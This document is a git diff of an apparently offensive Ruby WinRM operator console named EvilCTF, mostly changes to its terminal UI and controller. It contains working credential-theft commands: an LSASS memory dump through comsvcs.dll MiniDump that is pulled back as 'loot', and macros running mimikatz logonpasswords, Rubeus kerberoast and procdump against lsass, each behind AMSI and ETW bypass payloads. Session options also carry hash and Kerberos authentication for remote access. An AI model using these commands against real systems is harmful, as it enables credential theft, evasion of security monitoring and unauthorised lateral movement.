try { + $lsass = Get-Process -Name lsass -ErrorAction Stop | Select-Object -First 1 + $lsassPid = $lsass.Id + $out = 'C:\\Users\\Public\\lsass_comsvcs.dmp' + $args = "C:\\Windows\\System32\\comsvcs.dll, MiniDump $lsassPid $out full" + $p = Start-Process -FilePath 'rundll32.exe' -ArgumentList $args -PassThru -Wait -WindowStyle Hidden + "COMSVCS_EXIT::$($p.ExitCode)" + } catch { + "COMSVCS_ERROR::" + $_.Exception.Message + } + PS + comsvcs_res = shell.run(comsvcs_ps) + comsvcs_out = comsvcs_res&.output.to_s + comsvcs_out.lines.each { |ln| puts "[comsvcs] #{ln.strip}" unless ln.to_s.strip.empty? } + + dump_path, locate_out = resolve_dump_path.call + end + + if dump_path + EvilCTF::Uploader.download_file( + dump_path, + "loot/lsass_#{session_options[:ip]}.dmp", + shell + ) + else + puts '[!] No LSASS dump file found in C:\\Users\\Public after procdump execution.' + if locate_out.include?('ERROR::') + puts "[!] Dump discovery error: #{locate_out.lines.map(&:strip).find { |ln| ln.start_with?('ERROR::') }}" + end + puts '[!] Current user likely lacks required LSASS access (admin + SeDebug and no PPL/Credential Guard constraints).' + end '' end diff --git a/lib/evil_ctf/tools.rb b/lib/evil_ctf/tools.rb index ad407eb..e63a3d5 100644 --- a/lib/evil_ctf/tools.rb +++ b/lib/evil_ctf/tools.rb @@ -435,7 +435,7 @@ def initialize @macros = { 'kerberoast' => [BYPASS_4MSI_PS, '& "C:\\Users\\Public\\Rubeus.exe" kerberoast /outfile:C:\\Users\\Public\\hashes.txt 2>$null'], 'dump_creds' => [BYPASS_4MSI_PS, ETW_BYPASS_PS, '& "C:\\Users\\Public\\mimikatz.exe" "privilege::debug" "sekurlsa::logonpasswords" exit 2>$null'], - 'lsass_dump' => [BYPASS_4MSI_PS, ETW_BYPASS_PS, '& "C:\\Users\\Public\\procdump64.exe" -accepteula -ma lsass.exe C:\\Users\\Public\\lsass.dmp 2>$null'], + 'lsass_dump' => [BYPASS_4MSI_PS, ETW_BYPASS_PS, '& "C:\\Users\\Public\\procdump64.exe" -accepteula -ma lsass.exe "C:\\Users\\Public\\lsass.dmp"'], 'invoke-mimikatz' => [ BYPASS_4MSI_PS, ETW_BYPASS_PS, @@ -696,8 +696,8 @@ def self.safe_autostage(tool_key, shell, options, logger) # Create PowerShell extraction script extract_ps = <<~PS try { - $zipPath = '#{ps_single_quote_escape(zip_remote_path)}' - $extractPath = '#{ps_single_quote_escape(File.dirname(tool[:recommended_remote]))}' + $zipPath = '#{EvilCTF::Utils.escape_ps_string(zip_remote_path)}' + $extractPath = '#{EvilCTF::Utils.escape_ps_string(File.dirname(tool[:recommended_remote]))}' Add-Type -AssemblyName System.IO.Compression.FileSystem [System.IO.Compression.ZipFile]::ExtractToDirectory($zipPath, $extractPath) diff --git a/lib/evil_ctf/tui.rb b/lib/evil_ctf/tui.rb index 7a0f591..4dafbf5 100644 --- a/lib/evil_ctf/tui.rb +++ b/lib/evil_ctf/tui.rb @@ -3,6 +3,7 @@ class TUI # Simple in-memory trackers for sessions started via the TUI and a small # streaming output buffer used by the CLI pane. require_relative 'app_state' + require_relative 'tui_controller' def self.app_state EvilCTF::AppState.instance @@ -30,28 +31,29 @@ def self.stream_snapshot app_state.stream_snapshot end - # Render a fixed 3-column layout (left menu, center CLI, right meta) - # Accepts optional `sessions` (array) and `stream_lines` to display - # live data in the panels. - def self.render_fixed_layout(shell, state = {}, sessions = [], stream_lines = []) + # Build a dynamic 2-column frame (left menu, center CLI). + # Returns frame lines plus cursor anchor metadata for diff-based rendering. + def self.build_fixed_layout_lines(shell, state = {}, sessions = [], stream_lines = []) width, height = screen_size - total = [[width, 72].max, 180].min + total = [width, 40].max + + left_w = [[(total * 0.20).to_i, 18].max, total - 15].min + center_w = [total - left_w - 3, 10].max - left_w = [[(total * 0.26).to_i, 22].max, 36].min - center_w = [total - left_w - 6, 24].max # borders + spacing (no meta column) + lines = [] # Top bar - puts "┌" + "─" * (total - 2) + "┐" - puts "│ " + fit_line("AWINRM OPERATOR CONSOLE", total - 4).ljust(total - 4) + " │" + lines << ("┌" + "─" * (total - 2) + "┐") + lines << ("│ " + fit_line("AWINRM OPERATOR CONSOLE", total - 4).ljust(total - 4) + " │") meta = "Host: #{state[:host] || 'N/A'} Status: #{state[:connected] ? 'Connected' : 'Disconnected'} Shell: #{state[:shell] || 'PowerShell'} SSL: #{state[:ssl] ? 'OK' : 'UNVERIFIED'}" - puts "│ " + fit_line(meta, total - 4).ljust(total - 4) + " │" - puts "└" + "─" * (total - 2) + "┘" + lines << ("│ " + fit_line(meta, total - 4).ljust(total - 4) + " │") + lines << ("└" + "─" * (total - 2) + "┘") - # Pane headers (two-column layout) - puts "┌" + "─" * (left_w) + "┬" + "─" * (center_w) + "┐" - puts "│ MENU (Alt+1)".ljust(left_w + 1) + - "│ INTERACTIVE CLI (Alt+2)".ljust(center_w + 1) + "│" - puts "├" + "─" * (left_w) + "┼" + "─" * (center_w) + "┤" + # Pane headers (two-column layout) + lines << ("┌" + "─" * (left_w) + "┬" + "─" * (center_w) + "┐") + lines << ("│#{fit_line('MENU (Alt+1)', left_w).ljust(left_w)}" + + "│#{fit_line('INTERACTIVE CLI (Alt+2)', center_w).ljust(center_w)}│") + lines << ("├" + "─" * (left_w) + "┼" + "─" * (center_w) + "┤") # Left menu content # Top-level menu definitions (for rendering and interaction) @@ -80,16 +82,18 @@ def self.render_fixed_layout(shell, state = {}, sessions = [], stream_lines = [] # Center CLI content (history + interactive prompt) center = [] + center_inner_w = [center_w, 1].max # Show last CLI history lines (real commands/results) cli_hist = app_state.cli_history_snapshot || [] - if cli_hist && !cli_hist.empty? - cli_hist.last(6).each do |ln| + wrapped_hist = wrap_lines(cli_hist, center_inner_w) + if wrapped_hist && !wrapped_hist.empty? + wrapped_hist.last(12).each do |ln| center << ln.to_s end else # Fallback to showing recent stream lines or example placeholders if stream_lines && !stream_lines.empty? - stream_lines.last(6).each do |ln| + wrap_lines(stream_lines, center_inner_w).last(12).each do |ln| center << ln.to_s end else @@ -100,7 +104,7 @@ def self.render_fixed_layout(shell, state = {}, sessions = [], stream_lines = [] # Always show the latest stream lines after history for realtime feedback if stream_lines && !stream_lines.empty? center << "" - stream_lines.last(6).each do |ln| + wrap_lines(stream_lines, center_inner_w).last(16).each do |ln| center << ln.to_s end end @@ -119,31 +123,61 @@ def self.render_fixed_layout(shell, state = {}, sessions = [], stream_lines = [] end end - # Provide the interactive prompt line (PS> ...) reflecting current CLI input + # Raw-input CLI line with prompt sourced from remote shell state. center << "" cli_input = app_state.cli_input || '' - center << "PS> #{cli_input}" - - # Render rows (two-column layout), constrained to terminal height. - reserved_lines = 10 - visible_rows = [[height - reserved_lines, 8].max, [left.size, center.size].max].min - left_tail = left.last(visible_rows) - center_tail = center.last(visible_rows) - max_rows = [left_tail.size, center_tail.size].max - max_rows.times do |i| - l = fit_line(left_tail[i] || "", left_w - 1) - c = fit_line(center_tail[i] || "", center_w - 1) - - print "│ #{l.ljust(left_w - 1)}" - print "│ #{c.ljust(center_w - 1)}│\n" - end + prompt_text = state[:remote_prompt].to_s + prompt_text = 'PS> ' if prompt_text.strip.empty? + visible_prompt_line = build_prompt_display_line( + prompt_text: prompt_text, + cli_input: cli_input, + width: center_w + ) + center << visible_prompt_line + + # Render rows (two-column layout), constrained to terminal height. + fixed_rows = 4 + 3 + 1 + 1 # top bar + pane header + pane bottom + footer + visible_rows = [height - fixed_rows, 4].max + left_tail = left.last(visible_rows) + center_tail = center.last(visible_rows) + prompt_index = center.length - 1 + center_start = [center.length - visible_rows, 0].max + prompt_visible_row = prompt_index - center_start + + visible_rows.times do |i| + l = fit_line(left_tail[i] || "", left_w) + c = fit_line(center_tail[i] || "", center_w) + + lines << ("│#{l.ljust(left_w)}│#{c.ljust(center_w)}│") + end - puts "└" + "─" * (left_w) + "┴" + "─" * (center_w) + "┘" + lines << ("└" + "─" * (left_w) + "┴" + "─" * (center_w) + "┘") # Footer: include menu toggle hints and insert-mode indicator mode_label = app_state.mode == :insert ? '[INSERT]' : '[NORMAL]' footer = "[S] Sessions [T] Tools [M] Macros [P] Profiles [E] Settings [U] Upload [D] Download #{mode_label} [i] insert [q] quit" - puts fit_line(footer, total).center(total) + lines << fit_line(footer, total).center(total) + + prompt_row = if prompt_visible_row >= 0 && prompt_visible_row < visible_rows + 7 + prompt_visible_row + else + 7 + visible_rows - 1 + end + center_text_col = left_w + 2 + prompt_col = center_text_col + [visible_prompt_line.length, center_w].min + + { + lines: lines, + cursor_anchor: { row: prompt_row, col: prompt_col }, + show_cursor: app_state.pane_focus == :cli, + width: total + } + end + + # Render fixed layout for compatibility with existing specs. + def self.render_fixed_layout(shell, state = {}, sessions = [], stream_lines = []) + frame = build_fixed_layout_lines(shell, state, sessions, stream_lines) + frame[:lines].each { |ln| puts ln } end def self.render_dashboard(shell, state = {}) @@ -230,6 +264,9 @@ def self.start_rainfrog(shell = nil, options = {}) begin require 'tty-screen' require 'tty-reader' + require 'tty-prompt' + require 'tty-cursor' + require 'concurrent' rescue LoadError # Render once and return if tty gems aren't available render_fixed_layout(shell, host: (shell && (shell.run('hostname').output.strip rescue nil)), connected: !!shell, shell: (options[:shell] || 'PowerShell'), ssl: options[:ssl]) @@ -239,6 +276,34 @@ def self.start_rainfrog(shell = nil, options = {}) reader = TTY::Reader.new should_exit = false shutdown = false + cursor = TTY::Cursor + previous_frame = [] + last_layout_version = app_state.layout_version + previous_winch = nil + + refresh_screen_size!(bump: false) + app_state.set_pane_focus(:sidebar) + + # Queue-driven async command execution keeps UI loop non-blocking. + command_queue = Queue.new + prompt_factory = lambda do + defined?(TTY::Prompt) ? TTY::Prompt.new : nil + end + controller = EvilCTF::TUI::Controller.new( + app_state: app_state, + command_queue: command_queue, + transfer_callback: lambda { |direction:, shell:| transfer_file(shell: shell, direction: direction) }, + root_path: File.expand_path('../..', __dir__), + prompt_factory: prompt_factory + ) + + begin + previous_winch = Signal.trap('WINCH') do + refresh_screen_size!(bump: true) + end + rescue ArgumentError + previous_winch = nil + end # If TUI was launched with an active shell, register it as the active session begin @@ -276,11 +341,21 @@ def self.start_rainfrog(shell = nil, options = {}) h = EvilCTF::Execution.run(current_shell, 'hostname', timeout: 5) u = EvilCTF::Execution.run(current_shell, '[Security.Principal.WindowsIdentity]::GetCurrent().Name', timeout: 5) o = EvilCTF::Execution.run(current_shell, 'systeminfo | findstr /B /C:"OS Name" /C:"OS Version"', timeout: 8) + p = EvilCTF::Execution.run(current_shell, 'prompt', timeout: 3) host = h && h.output ? h.output.strip : nil user = u && u.output ? u.output.strip : nil os = o && o.output ? o.output.strip : nil + remote_prompt = p && p.output ? p.output.to_s.strip : 'PS> ' + remote_prompt = 'PS> ' if remote_prompt.nil? || remote_prompt.empty? + remote_prompt = "#{remote_prompt} " unless remote_prompt.end_with?(' ') connected = h && h.ok - ui_state_mutex.synchronize { ui_state[:host] = host; ui_state[:user] = user; ui_state[:os_info] = os; ui_state[:connected] = connected } + ui_state_mutex.synchronize do + ui_state[:host] = host + ui_state[:user] = user + ui_state[:os_info] = os + ui_state[:connected] = connected + ui_state[:remote_prompt] = remote_prompt + end else ui_state_mutex.synchronize { ui_state[:connected] = false } end @@ -291,6 +366,54 @@ def self.start_rainfrog(shell = nil, options = {}) end end + worker = Thread.new do + loop do + break if shutdown + begin + item = command_queue.pop + break if item == :shutdown + + shell_obj = item[:shell] + cmd = item[:cmd].to_s + next if shell_obj.nil? || cmd.empty? + + app_state.append_cli_history("PS> #{cmd}") + + res = EvilCTF::Execution.stream(shell_obj, cmd, timeout: 180, poll_interval: 1) do |chunk| + chunk.to_s.lines.each do |ln| + stripped = ln.chomp + app_state.append_stream(stripped) + app_state.append_cli_history(stripped) + end + end + + final_output = res&.output.to_s + unless final_output.empty? + final_output.lines.each do |ln| + stripped = ln.chomp + app_state.append_stream(stripped) + app_state.append_cli_history(stripped) + end + end + + unless res && res.ok + app_state.push_alert("Command failed or timed out: #{cmd}") + end + + begin + prompt_res = EvilCTF::Execution.run(shell_obj, 'prompt', timeout: 3) + prompt_line = prompt_res&.output.to_s.strip + prompt_line = 'PS> ' if prompt_line.empty? + prompt_line = "#{prompt_line} " unless prompt_line.end_with?(' ') + app_state.append_stream(prompt_line) + rescue + end + rescue => e + app_state.append_stream("[!] Worker error: #{e.class}: #{e.message}") + end + end + end + while !should_exit # Build state from poller snapshot state = ui_state_mutex.synchronize { ui_state.dup } @@ -301,9 +424,22 @@ def self.start_rainfrog(shell = nil, options = {}) # Ensure we use the currently active session (if any) for commands current_shell = app_state.active_session || shell - # Use authoritative AppState for sessions/streams/results - system('clear') rescue nil - render_fixed_layout(current_shell, state, app_state.sessions, app_state.stream_snapshot) + current_layout_version = app_state.layout_version + if current_layout_version != last_layout_version + previous_frame = [] + last_layout_version = current_layout_version + end + + # Use authoritative AppState for sessions/streams/results and render via frame diff. + frame_data = build_fixed_layout_lines(current_shell, state, app_state.sessions, app_state.stream_snapshot) + render_frame_diff( + cursor: cursor, + previous_frame: previous_frame, + frame: frame_data[:lines], + cursor_anchor: frame_data[:cursor_anchor], + show_cursor: frame_data[:show_cursor] + ) + previous_frame = frame_data[:lines] # Read a single key and react. Use IO.select with short timeout so # the UI refreshes regularly and shows background output without @@ -333,52 +469,29 @@ def self.start_rainfrog(shell = nil, options = {}) key = nil end - # Menu toggle keys (uppercase): toggle top-level menus - if key == 'S' || key == 'T' || key == 'M' || key == 'P' || key == 'E' - map = { 'S' => :sessions, 'T' => :tools, 'M' => :macros, 'P' => :profiles, 'E' => :settings } - sel = map[key] - if app_state.menu_open == sel - app_state.set_menu_open(nil) - else - app_state.set_menu_open(sel) - end - next - end - # If user entered insert mode, capture typed characters directly into AppState.cli_input if app_state.mode == :insert # handle insert-mode keys: printable strings append, backspace removes, Enter submits begin if key == :return || key == :enter || key == "\r" || key == "\n" cmd = app_state.cli_input.to_s.strip - app_state.append_cli_history("PS> #{cmd}") if cmd && !cmd.empty? app_state.set_cli_input('') app_state.set_mode(:NORMAL) if current_shell && cmd && !cmd.empty? - Thread.new do - begin - res = EvilCTF::Execution.run(current_shell, cmd, timeout: 120) - out = res.output.to_s - # Append both to stream and CLI history so output shows in the interactive pane - out.lines.each do |ln| - app_state.append_stream("#{cmd} -> #{ln.chomp}") - app_state.append_cli_history(ln.chomp) - end - app_state.append_result("#{cmd}\n#{out}") - unless res.ok - app_state.push_alert("Command finished with non-zero exit or timeout: #{cmd}") - end - rescue => e - app_state.append_stream("[!] Command error: #{e.class}: #{e.message}") - end - end + command_queue << { shell: current_shell, cmd: cmd } else app_state.append_stream('[!] No active shell to run command') unless current_shell end + elsif key == :alt_1 || key == "\e1" + app_state.set_pane_focus(:sidebar) + app_state.set_mode(:NORMAL) + elsif key == :alt_2 || key == "\e2" + app_state.set_pane_focus(:cli) + app_state.set_mode(:insert) elsif key == :backspace || key == :delete || key == 127 || key == "\u007F" cur = app_state.cli_input.to_s app_state.set_cli_input(cur[0..-2] || '') - elsif key.is_a?(String) + elsif key.is_a?(String) && key.match?(/\A[[:print:]]+\z/) # printable character(s) cur = app_state.cli_input.to_s app_state.set_cli_input(cur + key) @@ -390,13 +503,19 @@ def self.start_rainfrog(shell = nil, options = {}) next end + # Global hotkeys are routed through the controller in NORMAL mode. + if controller.handle_key(key: key, current_shell: current_shell) + next + end + case key when 'q', 'Q', :ctrl_c should_exit = true when 'r', 'R' next - when 'i', 'I' - # Enter insert mode to type directly into the CLI prompt + when 'i', 'I', :alt_2, "\e2" + # Enter raw input mode for the CLI pane. + app_state.set_pane_focus(:cli) app_state.set_mode(:insert) next when '1' @@ -410,10 +529,11 @@ def self.start_rainfrog(shell = nil, options = {}) when 'n', 'N' # Start a new background session via prompt begin - prompt = (defined?(TTY::Prompt) ? TTY::Prompt.new : nil) - ip = prompt_value(prompt: prompt, label: 'Target IP:', default: nil) - user = prompt_value(prompt: prompt, label: 'User:', default: 'Administrator') - pass = prompt_value(prompt: prompt, label: 'Password:', default: nil, secret: true) + prompt = prompt_factory.call + profile = app_state.pending_connection + ip = prompt_value(prompt: prompt, label: 'Target IP:', default: profile[:ip]) + user = prompt_value(prompt: prompt, label: 'User:', default: (profile[:user] || profile[:username] || 'Administrator')) + pass = prompt_value(prompt: prompt, label: 'Password:', default: profile[:password], secret: true) if ip.to_s.strip.empty? || user.to_s.strip.empty? TUI.append_stream('[!] Target IP and User are required') next @@ -421,13 +541,34 @@ def self.start_rainfrog(shell = nil, options = {}) # Create a connection and shell adapter in background and set it as active t = Thread.new do begin - opts = { ip: ip, user: user, password: pass, ssl: false } - endpoint = "http://#{ip}:5985/wsman" + opts = { + ip: ip, + user: user, + password: pass, + hash: profile[:hash], + port: profile[:port], + ssl: !!profile[:ssl], + kerberos: profile[:kerberos], + realm: profile[:realm], + keytab: profile[:keytab], + proxy: profile[:proxy], + user_agent: profile[:user_agent], + debug: profile[:debug] + } + port = opts[:port] || (opts[:ssl] ? 5986 : 5985) + scheme = opts[:ssl] ? 'https' : 'http' + endpoint = "#{scheme}://#{ip}:#{port}/wsman" validation = EvilCTF::Session.test_connection( endpoint: endpoint, user: user, password: pass, - ssl: false, + hash: profile[:hash], + kerberos: profile[:kerberos], + realm: profile[:realm], + keytab: profile[:keytab], + transport: profile[:transport], + user_agent: profile[:user_agent], + ssl: opts[:ssl], timeout: 10 ) unless validation[:ok] @@ -454,18 +595,11 @@ def self.start_rainfrog(shell = nil, options = {}) end next when 'c', 'C', :f2 - # Run a command on the provided shell (if present) in background and append output to stream buffer - if current_shell - begin - handle_cli_submit(current_shell) - rescue => e - TUI.append_stream("[!] Command error (submit): #{e.class}: #{e.message}") - end - else - TUI.append_stream("[!] No active shell to run commands") - end + # Focus CLI pane for raw input. + app_state.set_pane_focus(:cli) + app_state.set_mode(:insert) next - when 's', 'S', :f3 + when :f3 # session enumeration / refresh results if current_shell Thread.new do @@ -486,23 +620,45 @@ def self.start_rainfrog(shell = nil, options = {}) when :f1 # Map F1 to 'new session' flow begin - prompt = (defined?(TTY::Prompt) ? TTY::Prompt.new : nil) - ip = prompt_value(prompt: prompt, label: 'Target IP:', default: nil) - user = prompt_value(prompt: prompt, label: 'User:', default: 'Administrator') - pass = prompt_value(prompt: prompt, label: 'Password:', default: nil, secret: true) + prompt = prompt_factory.call + profile = app_state.pending_connection + ip = prompt_value(prompt: prompt, label: 'Target IP:', default: profile[:ip]) + user = prompt_value(prompt: prompt, label: 'User:', default: (profile[:user] || profile[:username] || 'Administrator')) + pass = prompt_value(prompt: prompt, label: 'Password:', default: profile[:password], secret: true) if ip.to_s.strip.empty? || user.to_s.strip.empty? TUI.append_stream('[!] Target IP and User are required') next end t = Thread.new do begin - opts = { ip: ip, user: user, password: pass, ssl: false } - endpoint = "http://#{ip}:5985/wsman" + opts = { + ip: ip, + user: user, + password: pass, + hash: profile[:hash], + port: profile[:port], + ssl: !!profile[:ssl], + kerberos: profile[:kerberos], + realm: profile[:realm], + keytab: profile[:keytab], + proxy: profile[:proxy], + user_agent: profile[:user_agent], + debug: profile[:debug] + } + port = opts[:port] || (opts[:ssl] ? 5986 : 5985) + scheme = opts[:ssl] ? 'https' : 'http' + endpoint = "#{scheme}://#{ip}:#{port}/wsman" validation = EvilCTF::Session.test_connection( endpoint: endpoint, user: user, password: pass, - ssl: false, + hash: profile[:hash], + kerberos: profile[:kerberos], + realm: profile[:realm], + keytab: profile[:keytab], + transport: profile[:transport], + user_agent: profile[:user_agent], + ssl: opts[:ssl], timeout: 10 ) unless validation[:ok] @@ -528,20 +684,6 @@ def self.start_rainfrog(shell = nil, options = {}) # ignore prompt failures end next - when 'u', 'U', :f5 - if current_shell - transfer_file(shell: current_shell, direction: :upload) - else - TUI.append_stream('[!] No active shell for upload') - end - next - when 'd', 'D', :f6 - if current_shell - transfer_file(shell: current_shell, direction: :download) - else - TUI.append_stream('[!] No active shell for download') - end - next else # any other key refreshes next @@ -551,32 +693,70 @@ def self.start_rainfrog(shell = nil, options = {}) # Clean shutdown: stop poller and restore terminal mode begin shutdown = true + command_queue << :shutdown rescue nil poller.join(1) if poller && poller.alive? + worker.join(1) if worker && worker.alive? + rescue + end + begin + Signal.trap('WINCH', previous_winch) if previous_winch rescue end begin + print cursor.show rescue nil system('stty sane') rescue nil rescue end end - # Helper: prompt for a command and execute it in background using Execution.run - def self.handle_cli_submit(shell) - prompt = (defined?(TTY::Prompt) ? TTY::Prompt.new : nil) - cmd = prompt_value(prompt: prompt, label: 'PS>', default: nil) - return unless cmd && !cmd.strip.empty? - Thread.new do - begin - res = EvilCTF::Execution.run(shell, cmd, timeout: 120) - out = res.output.to_s - out.lines.each { |ln| TUI.append_stream("#{cmd} -> #{ln.chomp}") } - unless res.ok - TUI.append_stream("[!] Command finished with non-zero exit or timeout: #{res.output}") - end - rescue => e - TUI.append_stream("[!] Command error: #{e.class}: #{e.message}") + def self.render_frame_diff(cursor:, previous_frame:, frame:, cursor_anchor:, show_cursor:) + width, _height = screen_size + max = [previous_frame.length, frame.length].max + output = String.new + + max.times do |idx| + current = frame[idx] || '' + prior = previous_frame[idx] || '' + next if current == prior + + line = fit_line(current, width) + output << cursor.move_to(0, idx) + output << line + output << "\e[0K" + end + + if previous_frame.length > frame.length + (frame.length...previous_frame.length).each do |idx| + output << cursor.move_to(0, idx) + output << "\e[0K" + end + end + + if show_cursor + output << cursor.show + if cursor_anchor && cursor_anchor[:row] && cursor_anchor[:col] + output << cursor.move_to(cursor_anchor[:col], cursor_anchor[:row]) + else + output << cursor.move_to(0, frame.length) + end + else + output << cursor.hide + if cursor_anchor && cursor_anchor[:row] && cursor_anchor[:col] + output << cursor.move_to(cursor_anchor[:col], cursor_anchor[:row]) + else + output << cursor.move_to(0, frame.length) end end + + print output unless output.empty? + end + + def self.toggle_menu(sel) + if app_state.menu_open == sel + app_state.set_menu_open(nil) + else + app_state.set_menu_open(sel) + end end # Run a recon_basic enumeration using real commands and stream results @@ -613,9 +793,19 @@ def self.run_recon_basic(shell) end def self.screen_size + width, height = app_state.screen_size + return [width, height] if width.to_i > 0 && height.to_i > 0 + + fallback_w = (TTY::Screen.width rescue 100) + fallback_h = (TTY::Screen.height rescue 30) + [fallback_w, fallback_h] + end + + def self.refresh_screen_size!(bump: false) width = (TTY::Screen.width rescue 100) height = (TTY::Screen.height rescue 30) - [width, height] + app_state.set_screen_size(width, height) + app_state.bump_layout_version if bump end def self.fit_line(text, width) @@ -626,6 +816,64 @@ def self.fit_line(text, width) t[0, width - 1] + '…' end + def self.wrap_lines(lines, width) + return [] if lines.nil? || lines.empty? + + wrapped = [] + lines.each do |line| + text = line.to_s.gsub("\r", "") + segments = text.split("\n", -1) + segments.each do |segment| + if width <= 0 + wrapped << '' + elsif segment.empty? + wrapped << '' + else + segment.scan(/.{1,#{width}}/).each { |chunk| wrapped << chunk } + end + end + end + wrapped + end + + # Keep typed input visible even when prompt text is long. + # We prioritize input visibility and compress prompt prefix first. + def self.build_prompt_display_line(prompt_text:, cli_input:, width:) + prompt = prompt_text.to_s + input = cli_input.to_s + return '' if width <= 0 + plain = "#{prompt}#{input}" + return plain if plain.length <= width + + return '…' if width == 1 + + min_input_width = [[(width * 0.5).to_i, 8].max, width].min + + visible_input = if input.length <= min_input_width + input + elsif min_input_width <= 1 + '…' + else + tail = input[-(min_input_width - 1), min_input_width - 1] + "…#{tail}" + end + + remaining_for_prompt = width - visible_input.length + return visible_input[-width, width] if remaining_for_prompt <= 0 + + visible_prompt = if prompt.length <= remaining_for_prompt + prompt + elsif remaining_for_prompt <= 1 + '' + else + tail = prompt[-(remaining_for_prompt - 1), remaining_for_prompt - 1] + "…#{tail}" + end + + result = "#{visible_prompt}#{visible_input}" + result.length > width ? result[-width, width] : result + end + def self.prompt_value(prompt:, label:, default:, secret: false) return fallback_prompt(label: label, default: default, secret: secret) unless prompt diff --git a/lib/evil_ctf/tui_controller.rb b/lib/evil_ctf/tui_controller.rb new file mode 100644 index 0000000..a6348d4 --- /dev/null +++ b/lib/evil_ctf/tui_controller.rb @@ -0,0 +1,296 @@ +# frozen_string_literal: true + +require_relative 'app_state' +require_relative '../config/profiles' + +module EvilCTF + class TUI + class InputHandler + def hotkey_for(key:, mode:) + return nil if key.nil? + + return :focus_sidebar if key == :alt_1 || key == "\e1" + return :focus_cli if key == :alt_2 || key == "\e2" + return nil if mode == :insert + + return :sessions if key == 'S' || key == 's' + return :tools if key == 'T' || key == 't' + return :macros if key == 'M' || key == 'm' + return :profiles if key == 'P' || key == 'p' + return :settings if key == 'E' || key == 'e' + return :upload if key == 'U' || key == 'u' || key == :f5 + return :download if key == 'D' || key == 'd' || key == :f6 + + nil + end + end + + class SessionManager + def initialize(app_state:, prompt_factory:) + @app_state = app_state + @prompt_factory = prompt_factory + end + + def select_current_session + sessions = @app_state.sessions + return nil if sessions.empty? + + prompt = @prompt_factory.call + return nil unless prompt + + labels = sessions.map.with_index do |s, idx| + host = s[:ip] || s[:host] || 'unknown' + user = s[:user] || 'unknown' + "#{idx + 1}) #{host} (#{user})" + end + + selected_label = prompt.select('Active sessions', labels) + selected_idx = labels.index(selected_label) + selected = selected_idx ? sessions[selected_idx] : nil + return nil unless selected + + adapter = selected[:adapter] || selected[:shell] || selected[:session] + return nil unless adapter + + @app_state.set_current_session(adapter) + @app_state.set_pane_focus(:cli) + @app_state.set_mode(:insert) + selected + end + end + + class ToolRegistry + ALLOWED_EXTENSIONS = %w[.ps1 .psm1 .bat .cmd .exe .rb .sh].freeze + + def initialize(root_path:) + @root_path = root_path + end + + def scan + entries = [] + %w[tools scripts].each do |dir_name| + dir = File.join(@root_path, dir_name) + next unless Dir.exist?(dir) + + Dir.glob(File.join(dir, '**', '*')).sort.each do |path| + next unless File.file?(path) + ext = File.extname(path).downcase + next unless ALLOWED_EXTENSIONS.include?(ext) + + rel = path.sub(/^#{Regexp.escape(@root_path)}\//, '') + entries << { + name: File.basename(path), + path: rel, + source: dir_name.to_sym + } + end + end + + entries.uniq { |entry| entry[:path] } + end + + def build_command(entry:, args: '') + path = entry[:path].to_s + ext = File.extname(path).downcase + escaped_path = path.gsub('/', '\\\\') + suffix = args.to_s.strip + + command = case ext + when '.ps1', '.psm1' + "powershell -ExecutionPolicy Bypass -File \"#{escaped_path}\"" + when '.bat', '.cmd', '.exe' + "\"#{escaped_path}\"" + when '.rb' + "ruby \"#{path}\"" + when '.sh' + "bash \"#{path}\"" + else + path + end + + suffix.empty? ? command : "#{command} #{suffix}" + end + end + + class SettingsManager + THEMES = %w[default matrix stealth].freeze + + def initialize(app_state:, prompt_factory:) + @app_state = app_state + @prompt_factory = prompt_factory + end + + def open + prompt = @prompt_factory.call + return nil unless prompt + + selection = prompt.select('Settings', [ + 'Toggle Logging', + 'Change Theme', + 'Adjust Scrollback Limit' + ]) + + case selection + when 'Toggle Logging' + @app_state.toggle_setting(:logging_enabled) + { type: :toggle_logging, value: @app_state.settings[:logging_enabled] } + when 'Change Theme' + theme = prompt.select('Theme', THEMES) + @app_state.set_setting(:theme, theme) + { type: :theme, value: theme } + when 'Adjust Scrollback Limit' + current = @app_state.settings[:scrollback_limit].to_i + value = prompt.ask('Scrollback limit', default: current.to_s) + limit = [value.to_i, 50].max + @app_state.set_setting(:scrollback_limit, limit) + { type: :scrollback_limit, value: limit } + else + nil + end + end + end + + class Controller + attr_reader :tool_registry + + def initialize(app_state:, command_queue:, transfer_callback:, root_path:, prompt_factory:) + @app_state = app_state + @command_queue = command_queue + @transfer_callback = transfer_callback + @prompt_factory = prompt_factory + @root_path = root_path + + @input_handler = InputHandler.new + @session_manager = SessionManager.new(app_state: app_state, prompt_factory: prompt_factory) + @tool_registry = ToolRegistry.new(root_path: root_path) + @settings_manager = SettingsManager.new(app_state: app_state, prompt_factory: prompt_factory) + end + + def handle_key(key:, current_shell:) + action = @input_handler.hotkey_for(key: key, mode: @app_state.mode) + return false unless action + + case action + when :focus_sidebar + @app_state.set_pane_focus(:sidebar) + @app_state.set_mode(:NORMAL) + when :focus_cli + @app_state.set_pane_focus(:cli) + @app_state.set_mode(:insert) + when :sessions + selected = @session_manager.select_current_session + if selected + label = selected[:ip] || selected[:host] || 'unknown' + @app_state.append_stream("[+] Switched session to #{label}") + else + @app_state.append_stream('[!] No selectable sessions') + end + when :tools + launch_tool(current_shell: current_shell) + when :macros + launch_macro(current_shell: current_shell) + when :profiles + select_profile + when :settings + apply_settings + when :upload + enqueue_transfer(direction: :upload, shell: current_shell) + when :download + enqueue_transfer(direction: :download, shell: current_shell) + end + + true + end + + private + + def launch_tool(current_shell:) + return @app_state.append_stream('[!] No active shell for tool execution') unless current_shell + + entries = @tool_registry.scan + return @app_state.append_stream('[!] No tools found in tools/ or scripts/') if entries.empty? + + prompt = @prompt_factory.call + return unless prompt + + labels = entries.map { |entry| "#{entry[:name]} (#{entry[:source]})" } + selected_label = prompt.select('Tool registry', labels) + selected_idx = labels.index(selected_label) + selected = selected_idx ? entries[selected_idx] : nil + return unless selected + + args = prompt.ask('Arguments (optional)', default: '') + command = @tool_registry.build_command(entry: selected, args: args) + @command_queue << { shell: current_shell, cmd: command } + @app_state.append_stream("[+] Queued tool: #{selected[:name]}") + end + + def launch_macro(current_shell:) + return @app_state.append_stream('[!] No active shell for macro execution') unless current_shell + + macros = { + 'recon_basic' => 'whoami /all; hostname; systeminfo', + 'quick_process_check' => 'Get-Process | Select-Object -First 20 Name,Id', + 'network_snapshot' => 'ipconfig /all; netstat -ano' + } + + prompt = @prompt_factory.call + return unless prompt + + selected = prompt.select('Macros', macros.keys) + command = macros[selected] + return unless command + + @command_queue << { shell: current_shell, cmd: command } + @app_state.append_stream("[+] Queued macro: #{selected}") + end 